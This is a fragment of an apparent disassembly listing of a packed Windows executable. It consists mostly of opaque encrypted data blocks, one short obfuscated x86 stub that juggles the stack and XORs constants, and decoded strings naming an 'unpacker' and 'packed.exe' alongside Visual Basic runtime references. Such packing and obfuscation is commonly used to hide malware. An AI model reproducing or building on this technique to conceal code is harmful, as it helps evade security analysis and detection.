		dd 0A1B586E4h, 263A0B5Fh, 0A8BC8DDBh, 2E43145Eh, 86A9C89h
		dd 90E02337h, 165AABBFh, 9ACE3145h, 862267C9h, 304731F2h
		dd 0AABF0F6Dh, 3A17AC56h, 0A1734DB3h, 1E5F18A9h, 0C8C9E1E5h
		dd 3C946905h, 8993416h,	5A0EF145h, 0DE8A7589h, 8092125h
		dd 6EE0A945h, 0D4653A30h, 2342BD11h, 2EFF90E0h,	0C083E51Ah
		dd 9BD4966Ch, 15162E32h, 38D7CF52h, 78E4DB91h, 0D911D56h
		dd 70341666h, 3DC81CDFh, 15D16501h, 0BB4C3047h,	2A7EF12Ah
		dd 0AEC293D5h, 541751h,	0C8316A00h, 4715A43Ch, 5D5E7630h
		dd 536DFE9Ah, 4CE03A30h, 0BF00B9B7h, 0E8176B2Eh, 2BE4847Dh
		dd 458859EAh, 279226C2h, 7C0D2A2Dh, 6800FF43h, 0A4A4ADA5h
		dd 0CE9126Fh, 4E666AD3h, 21EE8A4Dh, 0C341658h, 0A6BEC27Bh
		dd 675FE2A5h, 667F46ACh, 0DB67A09Dh, 3A2A31AEh,	42814ADBh
		dd 87E0B6C1h, 8DFBE0Ch,	709C0000h, 0E51D3102h, 60A0B485h
		dd 0DC25390Ah, 5FA7BB8Ch, 882D4213h, 36076B9Bh,	0BE8FE122h
		dd 44155BAAh, 0C899CF30h, 0F1852166h, 6C304732h, 26D9BE0Eh
		dd 2345BC10h, 2CF9B347h, 14A5362Ah, 80E8175Bh, 264C8C7h
		dd 388CAA55h, 31C5A1C7h, 172A2CFAh, 0BB1E376Bh,	4DDE81E3h
		dd 3EE1EBBCh, 316993DFh, 7, 48DCF33h, 0AAFF0000h, 47BCA956h
		dd 0E9609829h, 0D8063C83h, 4AE43D76h, 581B1C34h, 1107FBBCh
		dd 0E5BD4E34h, 2DC8D197h, 0D0A0980Dh, 143EA1FAh, 871850B1h
		dd 31324A4Eh, 7FE81A6Eh, 1F58E981h, 2BC710ACh, 78A092Fh
		dd 380FD76Bh, 88C152FDh, 0E7EBA435h, 880BCECFh,	0E39CCE34h
		dd 9ADD69A2h, 0EF071E90h, 0B8479B5Eh, 34CBDFB0h, 7C7E6B34h
		dd 0BC3735A4h, 8006Eh, 0E1917B00h, 6406FC10h, 0E9817F93h
		dd 6BFD0418h, 0F280869Ah, 7AD70C21h, 115E68Ch, 899D6E02h
		dd 0F23F47Ch, 45A778F0h, 33D06400h, 0ED4B3047h,	4226D99Dh
		dd 0DD79FC7Fh, 2A2CFA49h, 0C35733C4h, 462A2CF9h, 0CF137CB5h
		dd 0D96D0937h, 542A2CF9h, 1E6132C3h, 0F96BFF9Bh, 5DEE2A2Ch
		dd 7082024h, 3825A844h,	0B9C3416h, 0E5285048h, 8EAD24D9h
		dd 2E6709FAh, 0D09867BBh, 5414EBFFh, 7E7F979Bh,	0C561FBBh
		dd 4ADB3A31h, 9DCD3387h, 629DF164h, 14EF4306h, 8EA2235Ch
		dd 0FA3EF771h, 498340Ch, 872A2DE1h, 759C65F6h, 5EE0B80Dh
		dd 74F95E3h, 0E02C0000h, 55ADC192h, 0D0304415h,	4CB5C99Ah
		dd 0CF374B1Ch, 18BDD2A3h, 0C697DB2Bh, 4E1F51B2h, 0D4A5CB3Ah
		dd 58293FC0h, 8115B1F6h, 0FC304734h, 0B2AA4E9Eh, 0F68BDFBAh
		dd 0E3E72095h, 8407CACBh, 8E12038Ch, 0B5EE104Eh, 166B6029h
		dd 0B551E534h, 32C304BDh, 84E41B6Fh, 0E41C70B3h, 0F6094D86h
		dd 81B7AF72h, 82D754A3h, 0ABAF1851h, 33CF9293h,	3A2A642Eh
		dd 600FF78Bh, 0D213CCA6h, 0B6478841h, 0B6FED4EDh, 0E836B1E0h
		dd 6C5h, 4B1C56B6h, 0CE9FCB37h,	532446BAh, 0D5A6C23Fh
		dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h,	0B54A5E2Fh
		dd 3B80E2B3h, 47350B9Fh, 0E0308E30h, 894226D9h,	0F5AEBA45h
		dd 54D492F6h, 0B46D0300h, 9F63A73h, 0E1848E5Fh,	0D4699318h
		dd 10h,	0F886E9E1h, 8A1410C5h, 80CFD351h, 0FF000002h, 894226D9h
		dd 9C696D85h, 39CB7A2Dh, 58E94B93h, 2D8104C7h, 0FF6996D9h
		dd 7B0FAB6Eh, 0FE2A2D7Dh, 0DFA8346Dh, 423416B8h, 205917EEh
		dd 0DA6E0ACDh, 643047B0h, 9A2BCE9Ch, 0DB243809h, 0D61D48Dh
		dd 0FB3F78F8h, 5396670Bh, 0B0A034D0h, 0D82A3047h, 0F598D992h
		dd 0B0AB2C64h, 5FCC6D66h, 90A2226h, 5C0EF246h, 0AC14B023h
		dd 0CF3A3131h, 0D8277B3Eh, 54ABBF90h, 0EF175B14h, 0AEC6CA83h
		dd 794EEAADh, 0F43410E2h, 3F639A63h, 0CD48E6ACh, 5D47Fh
		dd 0D65A700h, 90DA283Ch, 1555ABBFh, 97D13044h, 1E54B2C6h
		dd 0A683384Dh, 2D411260h, 0B5C99AD6h, 3B4F2050h, 71D3A4C4h
		dd 35FC902Ch, 217F3047h, 3F26D9D1h, 611AABC7h, 0CD86E21Dh
		dd 5B0C6ACEh, 0E9F3C4A4h, 69931846h, 1039h, 24CF3B00h
		dd 0A000001h, 914A0412h, 0C1FA7740h, 4226D943h,	0B8EAB479h
		dd 98E661E0h, 569h, 0A778FA12h,	2AFB6F93h, 0AF80EA16h
		dd 3102669Bh, 0B889E91Dh, 0F5117EA3h, 6B98AC7Dh, 0E5203405h
		dd 59A6BA8Bh, 97DC3E0Fh, 473667FBh, 3484E230h, 7F4226D9h
		dd 0F9CC60FCh, 0BE4F2A2Ch, 27D81C85h, 46898841h, 42B40DF2h
		dd 35B21331h, 26BAF384h, 80E81740h, 0ED186CAFh,	6D104A83h
		dd 60699385h, 0Dh, 0A1CF62h, 0CFFF0000h, 9Bh, 119FFh, 34D8A13Dh
		dd 0CC5D3416h, 0F6F70F13h, 4FD69733h, 1AAB3A2Ah, 0B6C2D651h
		dd 0A2F06BE0h, 4D5h, 3B0C66A6h,	0BE8FDB27h, 431456AAh
		dd 0C596D22Fh, 4C1D55B1h, 61A58237h, 0D72C4011h, 51B4C899h
		dd 0C53A4E1Fh, 2B70D2A3h, 4736FB8Fh, 0D0207E30h, 0C3AD56AAh
		dd 8C90C90Ah, 2DB07374h, 0AAB8DB35h, 9DD6CF5Eh,	11317011h
		dd 62A1F534h, 0F182D50Eh, 7B0FAB2Eh, 0FE3041A3h, 6DC1346Dh
		dd 0AA06D793h, 3041A411h, 490C5CA3h, 235C0CF5h,	0F8728EA2h
		dd 45FF13Fh, 19210000h,	0A13D0001h, 341634D8h, 8609CC5Dh
		dd 472C56EAh, 4F19E830h, 1EB25596h, 90D18AE8h, 595DC6FFh
		dd 0FA7D4041h, 70766A02h, 474240D4h, 0F22ABB30h, 1F58B3E4h
		dd 2B07D293h, 5D26B73Ah, 0E0B61ABCh, 16A0EE69h,	65000004h
		dd 0E6FACBA7h, 697D4E1Ch, 0EE02D397h, 70845513h, 0F60BDC96h
		dd 0D0A264C1h, 5818EBFFh, 0DE927387h, 6206F90Dh, 4EEA2F91h
		dd 304737BAh, 0AA87D735h, 0A0F6EDB2h, 0ABE30D69h, 3373A5A0h
		dd 0C8CC05EDh, 1355ACB0h, 0C588195Ah, 0F12A642h, 0FC8D2A2Dh
		dd 96CF9968h, 49C28723h, 36C73416h, 88E01F73h, 0C5CA3B7h
		dd 36374F53h, 88E01F73h, 0C40DC4Fh, 4F3A305Dh, 58A7FBBEh
		dd 0D42B3F10h, 0BFD7DB94h, 1C03FBBEh, 0EEB567A8h, 0D773E61Fh
		dd 3410A62Ah, 4F16EB3Fh, 0BDFEB7B3h, 0FA0F32Ch,	0AC74DF46h
		dd 351CCE6h, 36Dh, 0A374FE0Eh, 26F7738Fh, 0AB7CEE12h, 2DFE6A97h
		dd 0B485ED19h, 0F90D7A9Fh, 6F94A879h, 0E91C3001h, 5DA2B687h
		dd 93D83A0Bh, 473863F7h, 3888E630h, 0BDAB56AAh,	0A9BF4084h
		dd 6E53ACF0h, 53EF53BBh, 2A2D85BFh, 4571A93Ah, 4B0E9F58h
		dd 81982CC8h, 82132A2Dh, 0DCF4C849h, 937C18DBh,	0F63410B2h
		dd 13CC9E62h, 0FC8841D2h, 3041B164h, 6FBF338h, 6377492Bh
		dd 96D0649Dh, 0A7B328CBh, 0B652D56Fh, 30418D22h, 0A6D30C9Dh
		dd 34h,	0AD56AAA8h, 6E868AC3h, 0D50EAA6Dh, 9834101Fh, 87DB4E07h
		dd 9024C07Eh, 0B304113h, 0EF30E97Ah, 13922AB6h,	663041h
		dd 3658FB66h, 0E34B6FA7h, 4D000000h, 894226D9h,	58AEC145h
		dd 8F20611Ah, 0FB6D92D6h, 0C001FE42h, 62D76D06h, 6AFE9AB7h
		dd 0E52A2DE8h, 6132C354h, 2CF4BB05h, 0EA69E2Ah,	3397D7CAh
		dd 0DB2468A1h, 57A8BC8Dh, 3C545811h, 83DC783Bh,	0E63410BDh
		dd 9D33C763h, 25B63041h, 3FF87091h, 0E172C5FEh,	23243C10h
		dd 0AD41DD60h, 3030419Ch, 57F3669Fh, 3A28545Eh,	7AF60FA3h
		dd 2CEF80C1h, 0A432DD8h, 0AFC34397h, 333CCADEh,	440D9ED2h
		dd 0E0BAFEE7h, 221765E0h, 59000002h, 0DAEEBFB3h, 5D714228h
		dd 0E2F6C7A3h, 6478491Fh, 0EAFFD0A2h, 0C4AE5835h, 4C24DFF3h
		dd 0D29E677Bh, 5612ED01h, 42DE2385h, 304739AEh,	0D983D331h
		dd 2E82452Dh, 9DDE97D1h, 30CFE364h, 0C67D7538h,	0EEFA8D5Fh
		dd 2366E720h, 239534CFh, 0F36D72C0h, 3C7D36C7h,	1198503h
		dd 68A13D00h, 0ED341020h, 0BA45995Ch, 800C75AEh, 304113E8h
		dd 2EE7897Ah, 9A5315EAh, 283F379Bh, 99DA93DDh, 1D71B608h
		dd 0BC5089E9h, 3614B7BAh, 3EC16FA7h, 41080EA2h,	6C009130h
		dd 709DD694h, 104h, 4226D972h, 0B1C14589h, 0D23185F8h
		dd 0D672E59Eh, 2A2CFA42h, 639B2CBDh, 4EAA02D7h,	18DC6A9h
		dd 2A2CA2B7h, 0D62F36C9h, 0CA0E19Ah, 13E475F3h,	0E6877CD0h
		dd 7C0511Fh, 9ED432C6h,	8ADE2165h, 0B4B5CDD1h, 4766EF1h
		dd 4D1651CAh, 39F27689h, 0A22E67F8h, 34108F49h,	276A3BCCh
		dd 6B68F42Fh, 0DB1CD595h, 4B97D1A3h, 69224EB7h,	0D3EBEF28h
		dd 45BB0FD2h, 7F31D67Eh, 0B647B0CDh, 946E0A7Dh,	773A2876h
		dd 0D7240F7Fh, 2F8BA73Bh, 5991222Ah, 195287E8h,	9AD032C6h
		dd 14F24609h, 0C74A8D5Eh, 23DC8C73h, 0B57206E2h, 0B5ED2A2Fh
		dd 3315886Eh, 3F780975h, 9E670BFBh, 0E0BAA65Bh,	0C27FCD48h
		dd 0B9000000h, 3A4E1F53h, 0BDD1A2C8h, 42562743h, 0C4D8A9BFh
		dd 4A5F3042h, 244EB895h, 0ACC43F53h, 323EC7DBh,	0B6B24D61h
		dd 0A23E83E5h, 30473B0Eh, 0D9E33391h, 0A9BF422Dh, 185AACF0h
		dd 1125F687h, 5BA97AEEh, 7F4226D9h, 0F9CC60FCh,	3BBA2A2Ch
		dd 0B2C5DAC0h, 27BB4CEFh, 0F25B94DCh, 461751AEh, 96595A72h
		dd 1640C2FAh, 7B34C534h, 0CFA0C837h, 0ED0F948Ch, 0C5BD4F82h
		dd 0B1B7488Ch, 1F89F6EEh, 7F4B2BCh, 79BA73FFh, 0BA46AFE8h
		dd 3EA71FB6h, 6EF97DD1h, 0F206D791h, 5EA25B0Dh,	0E40CC5A3h
		dd 2669BEFh, 263135C9h,	0AABE8FD9h, 0FC501355h,	0C7306907h
		dd 0C79h, 26ABA900h, 2288532Eh,	3C7597FFh, 3F33D9BEh, 0ABBD4286h
		dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh,	0D1976AAEh
		dd 3E2CD418h, 0A9C14185h, 0C68EAF0h, 8900002Eh,	4B68243Ch
		dd 8900003Eh
; ---------------------------------------------------------------------------
		sbb	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		push	ecx
		mov	ecx, 51153908h
		mov	esi, ecx
		pop	ecx
		mov	ebx, 570F0D2Eh
		xor	ebx, esi
		pop	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 26FD0184h
		xor	[esp+4], ebp
		pop	ebp
		pop	dword ptr [esi+8]
		xor	dword ptr [esi+8], 26FD0184h
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		dd 64432DFh, 9952C624h,	42C7B8CFh, 0C503061Ah, 9781E0FFh
		dd 1509394Fh, 10A458B7h, 9732252Ch, 0E46B4FF4h,	1F851453h
		dd 0E64E41CCh, 4674968h, 46484811h, 4E5F1C96h, 70867B37h
		dd 88833CBEh, 0E4061192h, 32B94994h, 2BEF34B2h,	0FF596074h
		dd 0DA95C29h, 0F66207E1h, 6FE917E7h, 8F000001h,	0C55B8835h
		dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
		dd 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 4 dup(0)
		dd 0D7E90000h, 6800001Bh, 61A4705h, 0FA3902E9h,	47DC68FFh
		dd 0F8E9061Ah, 68FFFA38h, 61A48DAh, 0FA38EEE9h,	49B468FFh
		dd 0E4E9061Ah, 68FFFA38h, 61A49F3h, 0FA38DAE9h,	4AAD68FFh
		dd 0D0E9061Ah, 68FFFA38h, 61A4B19h, 0FA38C6E9h,	4B6B68FFh
		dd 0BCE9061Ah, 68FFFA38h, 61A52DDh, 0FA38B2E9h,	538468FFh
		dd 0A8E9061Ah, 68FFFA38h, 61A543Fh, 0FA389EE9h,	550A68FFh
		dd 94E9061Ah, 68FFFA38h, 61A5575h, 0FA388AE9h, 561368FFh
		dd 80E9061Ah, 68FFFA38h, 61A56CEh, 0FA3876E9h, 575F68FFh
		dd 6CE9061Ah, 68FFFA38h, 61A5DF4h, 0FA3862E9h, 5EF268FFh
		dd 58E9061Ah, 68FFFA38h, 61A5FA8h, 0FA384EE9h, 0C7F8E4FFh
		dd 823B9875h, 3C7F5330h, 0F1C80DEAh, 0A815C29Fh, 159B1D56h
		dd 0CCA9FBC2h, 8562B405h, 3D1A6C53h, 0C4D02299h, 2D50363Ch
		dd 6964580Ch, 0F7C41202h, 23983E4Bh, 0D787F5D1h, 38F6898Fh
		dd 3C6457E5h, 96B91DF4h, 0B3824888h, 0D6059D20h, 4544266Ch
		dd 2D4F5806h, 0C40FDC6Dh, 75ECAF9h, 0F7F8D991h,	39h, 874F170Eh
		dd 0F1E79B81h, 187AF51h, 51F1E81Bh, 0CED8072Fh,	9B68B060h
		dd 7CD4803Bh, 7E41474Dh, 4C57E503h, 50327824h, 5B580603h
		dd 0E3821939h, 1BF8D9D6h, 0CDh,	0F7C41232h, 24993E4Bh
		dd 506B6B78h, 7A553108h, 4E371D23h, 234B51F2h, 8AAA8CCh
		dd 74626FD9h, 0A1DFF547h, 0D351F265h, 661F050Bh, 0B3351F2h
		dd 0B605D1DCh, 6C4F8764h, 70565C24h, 8451F266h,	0B7C32D5Ch
		dd 575DA549h, 57E5801Ch, 0D1E8EDCAh, 9D0BE739h,	0FED2A9F1h
		dd 4A78AB4Dh, 9B636998h, 9B50ACEh, 123E82B1h, 205DFB54h
		dd 0E3D8053h, 521A628Ah, 0BF6B5285h, 0AA2D3867h, 0F3E4C113h
		dd 8637670Bh, 821A6786h, 937A80A4h, 0C5D3BD38h,	1932h
		dd 0A8FAC517h, 63B508CBh, 1D6F4C86h, 0D2249540h, 89DBE2F5h
		dd 8F486850h, 0D2FFDC2Eh, 20B895E7h, 66704D9Fh,	6FF70355h
		dd 0C2F8369h, 359C9758h, 0A6F8C512h, 5CAE0DC9h,	0F9A513A3h
		dd 2E8ABB1h, 673457E5h,	9D21506Bh, 0A183C975h, 26580602h
		dd 576410ADh, 5F933F7Ah, 13DADF7Bh, 5861703Dh, 0D32554ACh
		dd 0D6491CB7h, 0AFB5F8D9h, 0AD000000h, 0EF9DFE5h, 0E50D5806h
		dd 0C412CFB6h, 993E4BF7h, 0F4327824h, 2151F1EBh, 0D7B406B5h
		dd 410BCFFh, 0D5A2EA96h, 0B911BDFCh, 437E848Ah,	6F57E506h
		dd 5A8936A2h, 805CAED6h, 20266E12h, 5DFADB05h, 36034B73h
		dd 0F2CA1CA1h, 0DB121A1Bh, 82880CB8h, 5E1CBB9Ch, 0C1F088B0h
		dd 0BE9C21B6h, 38946370h, 5BE9F7E1h, 0EE000018h, 0A27FD1EEh
		dd 5D3A8C31h, 17F44675h, 0CCA9FBBEh, 2760B20Bh,	5B81F91h
		dd 0BEFBD6B3h, 76498F6Ch, 2C8F4724h, 4046CEDAh,	580C2F5Ah
		dd 120C736Eh, 0CEA6F8C5h, 75037CF7h, 0CCFB3CA5h, 5EA615C1h
		dd 46754491h, 0C4127D36h, 983E4BF7h, 87F5D123h,	0BB08B522h
		dd 9FF7A316h, 0E4F2BF07h, 0A4D32BD7h, 48FFD69Eh, 0A81D9907h
		dd 0B9286C9Bh, 4D57E547h, 0B9655680h, 86AE3261h, 48B294DAh
		dd 9BBD5806h, 8C81E4FFh, 0E97DF8D9h, 94000000h,	5ECC79D1h
		dd 99E6D5FDh, 9DE57D3Ch, 0E5014C97h, 7B331A57h,	0C0EDEAC0h
		dd 54F58Dh, 8A7EB04Ch, 10580876h, 93CB570Ah, 95DD0532h
		dd 9991C8BEh, 0B1273DDCh, 720A620Eh, 5FCDD943h,	0D29F67AFh
		dd 4488B704h, 38A92E77h, 856B7149h, 1238CC2Eh, 0C34FABFh
		dd 775F2C74h, 0DF77428Fh, 0E026B08Dh, 0C51DC9F2h, 0F0E94F2Dh
		dd 927C5DE4h, 175D84h, 0CFF0EC00h, 8A33A07Dh, 44775B38h
		dd 0F9C015F2h, 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh
		dd 4522744Bh, 0CCD82A91h, 30583E44h, 716C580Ch,	8D4A170Ah
		dd 0E0F60130h, 0FC693DBh, 43DBE2F5h, 0A6103F97h, 3C842C9Ah
		dd 0E500C736h, 0D500DD57h, 6713A62Fh, 97DF770Fh, 8A5DF9C0h
		dd 30789358h, 65A442Ah,	1305858h, 854C19F1h, 0D9308834h
		dd 0D50E1E53h, 0B79ECDEDh, 5ECC79D1h, 369D6AB2h, 8A525887h
		dd 0F8A41BBDh, 0E22D71A0h, 0B057E501h, 0AB93E788h, 2DDCECFDh
		dd 0C1C70FBFh, 0E522190Eh, 0DCE894BCh, 0B27AC26Eh, 18FEE4EAh
		dd 468BE543h, 3885AD73h, 1D75219Ah, 99DDAAEEh, 87AFEB37h
		dd 5764723Fh, 2A8F420Fh, 0E7F7267Eh, 11EFCC0Ah,	0AB568631h
		dd 83505E48h, 0C6000016h, 7A57A916h, 35126459h,	0EFCC1E9Dh
		dd 0A481D3E6h, 0FF388A33h, 0DDE0F7B9h, 9623AE8Bh, 4E716744h
		dd 4B71FFCh, 181EA6B2h,	580C3132h, 12E44B46h, 3319F7C4h
		dd 5A44BF38h, 16446270h, 0D7050000h, 1AB996E8h,	5E7451A3h
		dd 0A72E0B5Dh, 0F4E3C012h, 7A3E77C9h, 0CA1CA136h, 83D5E4EDh
		dd 3B8D32A6h, 0F143785Eh, 71575DE5h, 85580C31h,	0C412238Ah
		dd 0E1E7AFF7h, 51F1E7FBh, 3B9AE70Fh, 4B7AD27Eh,	0B767D5E1h
		dd 0EEB6696Fh, 3C6457E5h, 0D665CCEAh, 6A70B868h, 5DF9081Fh
		dd 0E24C5EDh, 95A4046h,	966E5E1Ah, 1A08AA90h, 0FE96BE5Eh
		dd 0E0578BCFh, 1381D880h, 6A1D236Bh, 1800B5DCh,	0CA3844F0h
		dd 0BD8DE26h, 0DD06CB5Dh, 9FA56DB5h, 6EE5CB9h, 0F44EA5CDh
		dd 9567AD03h, 0B7848AB9h, 8C549C1Fh, 0EE59A086h, 5D8CB406h
		dd 5566704Dh, 0C2C5DF77h, 0CAD8C28Fh, 158Ah, 50A21DBFh
		dd 0B5D6073h, 0C517A42Eh, 7ACCEDE8h, 31833A9Dh,	0E7F0C0F8h
		dd 2AA784D6h, 78603D8Fh, 0BE18F547h, 179FABFDh,	0C322B11h
		dd 0DD443F58h, 0F1E7F3D9h, 18654751h, 18EF51F1h, 134336E2h
		dd 3E82B107h, 51F1F25Ch, 0F2D1C6A8h, 27795051h,	423CC272h
		dd 0A138C0CDh, 7D15148Bh, 2893434Eh, 0BE4C164Ah, 0A7B59F44h
		dd 151Eh, 0BC0EB12Bh, 77C9F4DFh, 3183389Ah, 0E6388154h
		dd 9DEFCE09h, 7B5C5464h, 0BE13F042h, 0CCCA9FBh,	528461B3h
		dd 830B1769h, 0C32977Dh, 49B0AB58h, 9344A513h, 0E78E747Ah
		dd 7AA251F1h, 0FC024AE2h, 57E5197Dh, 0BDAD8BB3h, 0C3EAB26h
		dd 14CC1422h, 5F7D0000h, 0A2310E60h, 0E6ECC91Bh, 2FA683D5h
		dd 7C5B388Ah, 2B6EF41h,	429429AEh, 0FB4D6C65h, 0B305BA1Eh
		dd 69BB00D6h, 0E9CFD55Dh, 0FD580C32h, 4A179B02h, 2A822E8Bh
		dd 20E6F0FBh, 19BC09B2h, 0F3C008A0h, 0D52DD9E4h, 0A72F3CA6h
		dd 7B5B6814h, 4C879440h, 0CE70C571h, 0C1D52D8Ch, 0ED5B0A81h
		dd 24A3FEEDh, 0BA000000h, 0F1E7F7D9h, 615A7C51h, 7D8B4C19h
		dd 9DCC645Bh, 6C16778Dh, 0A24E502Ah, 0B605CD9Ah, 14447B87h
		dd 12D20000h, 279442C4h, 0EDBE38Fh, 0BFC9F8C5h,	9865AD51h
		dd 4C52813Ah, 0E5EE6B46h, 0DF315957h, 33399503h, 5805EE4Dh
		dd 59A13961h, 0F93C0453h, 6B2DA5Dh, 2C32D9F9h, 5E1A1D46h
		dd 1CECD2D8h, 0D8005E1Ah, 0A52EA12h, 1D563C42h,	0F0E35E1Ah
		dd 0B0DF07CDh, 1CA78AA0h, 0A52E5E1Ah, 0EAE9C618h, 0B91A27D3h
		dd 82E65804h, 4C5A31C0h, 86A32D53h, 10C3CEFDh, 3E9865ADh
		dd 4A79D17Dh, 8C69FC3Ah, 5195F2C5h, 0AC000002h,	0B1F9A513h
		dd 0E5E954ABh, 0D8FBC857h, 94E139E5h, 0C74B7A43h, 0EDE6F39Fh
		dd 32A17ED0h, 0F6C30EDBh, 5E98A70h, 30161C58h, 445805EAh
		dd 0E12E561Ch, 8632CAF1h, 9625B17Eh, 85318849h,	0D8BAFE2Dh
		dd 36580519h, 0D7FC3052h, 0EFBC94E6h, 87FD6E9h,	0E6F4D941h
		dd 0CD3B4574h, 0B11D921h, 5805EE25h, 0EF9B20B2h, 61A9D197h
		dd 5EE755Bh, 32618958h,	0F6B262Ch, 0F1195DF9h, 699F3845h
		dd 4BA34F6Eh, 0B28961B3h, 0A30A4659h, 0C5D0FF5Bh, 8C63AB12h
		dd 0A0F0BD0Fh
		dd 67D1003Ch, 7845925Fh, 0EB210549h, 9F835E19h,	2F8E49E3h
		dd 0EB9301DDh, 0ED7A9DA3h, 0E008640Dh, 0E4CAD098h, 0F8642DEDh
		dd 2A37A1D0h, 0E0BD0FACh, 0D319C5F6h, 642DEDEDh, 1ED36F53h
		dd 0EABA0147h, 0CF27D3E8h, 9D160578h, 8973636Eh, 32C36226h
		dd 0A8FA9211h, 0D70008CBh, 95A24EE6h, 61D37F3Eh, 2CA75DFDh
		dd 2EC6F7DCh, 1C79EDCh,	9837ECB1h, 4E000000h, 4CF8C512h
		dd 6370983Fh, 0A416C25Ah, 0EDEA0240h, 25407ED0h, 0D9FEEDEEh
		dd 7Bh,	0F7C412F0h, 23983E4Bh, 0F8C50EDBh, 5BC5F44Ch, 2FC585E9h
		dd 0F5CC14A7h, 0C3F8B5F9h, 959BE325h, 51F2E3AFh, 5C6C9BC3h
		dd 0ECF1471Eh, 49B7FEh,	0D8AF0000h, 329D7DC4h, 0B89FCE5Bh
		dd 0B1F9A513h, 0E5EA88ABh, 42EE1657h, 51686D3Ah, 0DA1E4DA5h
		dd 5805EAF8h, 90A1E103h, 0EADCC2C8h, 6F695805h,	864CA450h
		dd 0A2C32F5Eh, 5CF8D9EAh, 0BCh,	0B74F8754h, 5D09A11Ch
		dd 17EFD605h, 2F8C4Ah, 90D888F6h, 0E50D538Ah, 35E10957h
		dd 795F652Dh, 8D58060Eh, 2BB1865h, 0B20BC8D3h, 6D508360h
		dd 0EBECB9C1h, 3B98A3D2h, 0A5633A82h, 43F842Eh,	14C0FDDAh
		dd 8BF524BCh, 6495B519h, 3CC1E58Dh, 88D5BF55h, 69C16D4Eh
		dd 19A42F3Ah, 8EDC89C7h, 4F22F8D9h, 39000000h, 0B3FBAB13h
		dd 0F1E7E7ADh, 0DDE3BBD1h, 0D1F1E7F7h, 9F4BE30Bh, 0F1E97759h
		dd 7012B4D1h, 28F555BDh, 0A58B11AAh, 32D1F1E8h,	745117A4h
		dd 2DC55D5Eh, 0E919DFE5h, 0C5ED51F1h, 9627B07Dh, 11795767h
		dd 0B1000000h, 0E8FDE3E9h, 0E91151F1h, 6711D3BAh, 68000000h
		dd 2F8C4A17h, 2EDDF500h, 0F1E84228h, 5D795651h,	8E6FC65Eh
		dd 53365795h, 626A16AEh, 3BBD4395h, 514AC6B5h, 4AA24EE6h
		dd 0FAC3101Bh, 0B508CBA8h, 0E694FD09h, 7365323Ah, 0F8D91D4Ch
		dd 7B51F1F6h, 0A7B4605Bh, 8BE38F2Ah, 7177943Eh,	51F1F68Bh
		dd 33DF779Fh, 0BC3D5DC1h, 1CB7D3F5h, 0FEEDE249h, 0C1AB5h
		dd 0AA13CC00h, 9D0A50FCh, 0AEDB5A3Bh, 90D5CE8Ch, 6E7542B8h
		dd 48h,	0D03F9966h, 9D24E4CAh, 38D0F8DBh, 0E6EC348Ch, 0DB9D2500h
		dd 0D6BDEC14h, 0B4FCAA13h, 0F1E7C8AEh, 4A8D5A51h, 98C04473h
		dd 0BB17E4ECh, 0F58DD100h, 5CFB05D5h, 1CE9183Ah, 5804B5h
		dd 250065D1h, 7AFE557Ah, 15000002h, 0D3FCAA13h,	63494F17h
		dd 7751F1E8h, 0F097204Fh, 0CEF7C412h, 8ED1A8BEh, 7C8E5BE7h
		dd 0B118FF2Eh, 1EDE5C4h, 465Ah,	0AA137100h, 0F1E7B4FCh
		dd 0E832181Eh, 1E4651F1h, 4CDDA86h, 7EE1DB5h, 0E82E1117h
		dd 0EDBA51F1h, 0CD25D1E8h, 0C9F21A9Eh, 0C0126E17h, 952D9246h
		dd 7D4A106Ch, 93B7A654h, 8D6B2D8Ch, 0C2F149F5h,	3211DBh
		dd 13680000h, 17D3FCAAh, 0F1E82E11h, 9B365151h,	175D861Eh
		dd 0E863494Fh, 1FE651F1h, 1FD4F40Eh, 0B7E60ED4h, 0C01208B1h
		dd 84308D46h, 0C9F4DF2Ch, 69100831h, 32874A17h,	0BBFF2E86h
		dd 0C1D64846h, 0B322E6F1h, 3F1C6E06h, 0FDC2497h, 0F048F4C7h
		dd 6A6D38C1h, 1ABD8853h, 0EDEAF7A3h, 0CF024D0h,	67CB6B4Eh
		dd 0F6C5112Bh, 1F9C3A55h, 4ADF00D7h, 0BA6B1A28h, 743C028Bh
		dd 19AE886Eh, 45749CE2h, 0F78D61F9h, 0AF43292Fh, 0DC6E219h
		dd 7D28E626h, 0ABDA02C8h, 31083959h, 94F6D96Bh,	0A80F4D07h
		dd 35F3B5D2h, 73636E9Dh, 0A4330048h, 0E6156D19h, 516A6C87h
		dd 0B31CBB86h, 0E2195AD0h, 0CDEBB6DEh, 4B182969h, 56117688h
		dd 4F7AD3D2h, 597D88B7h, 31A6C162h, 0E592E08Ch,	0FB315123h
		dd 0CC99E1DCh, 0E5D8FB09h, 0F249E139h, 933A2B6h, 58689794h
		dd 95605B7Bh, 0DFC20DCAh, 6BE21932h, 0A40D994h,	0B1E0B5C0h
		dd 0DD3A052Dh, 61758FCBh, 0DD8930A5h, 314CED85h, 3F4B16A5h
		dd 4909ADA6h, 0F79823B3h, 79C1FADCh, 51C5ABB1h,	0B1D9E219h
		dd 0A92EF982h, 4592725Fh, 7D48E078h, 0A55FFB5Fh, 0EED4DA31h
		dd 2E21951h, 720AB125h,	11C592DAh, 46DEDDF5h, 0B413429Ah
		dd 0D3FFD69Eh, 0C4A632ECh, 82967C02h, 82AAE219h, 0C4126C53h
		dd 4A17CEF7h, 7801308Dh, 0C9F0E5B2h, 0AB13B39Ah, 962E8B46h
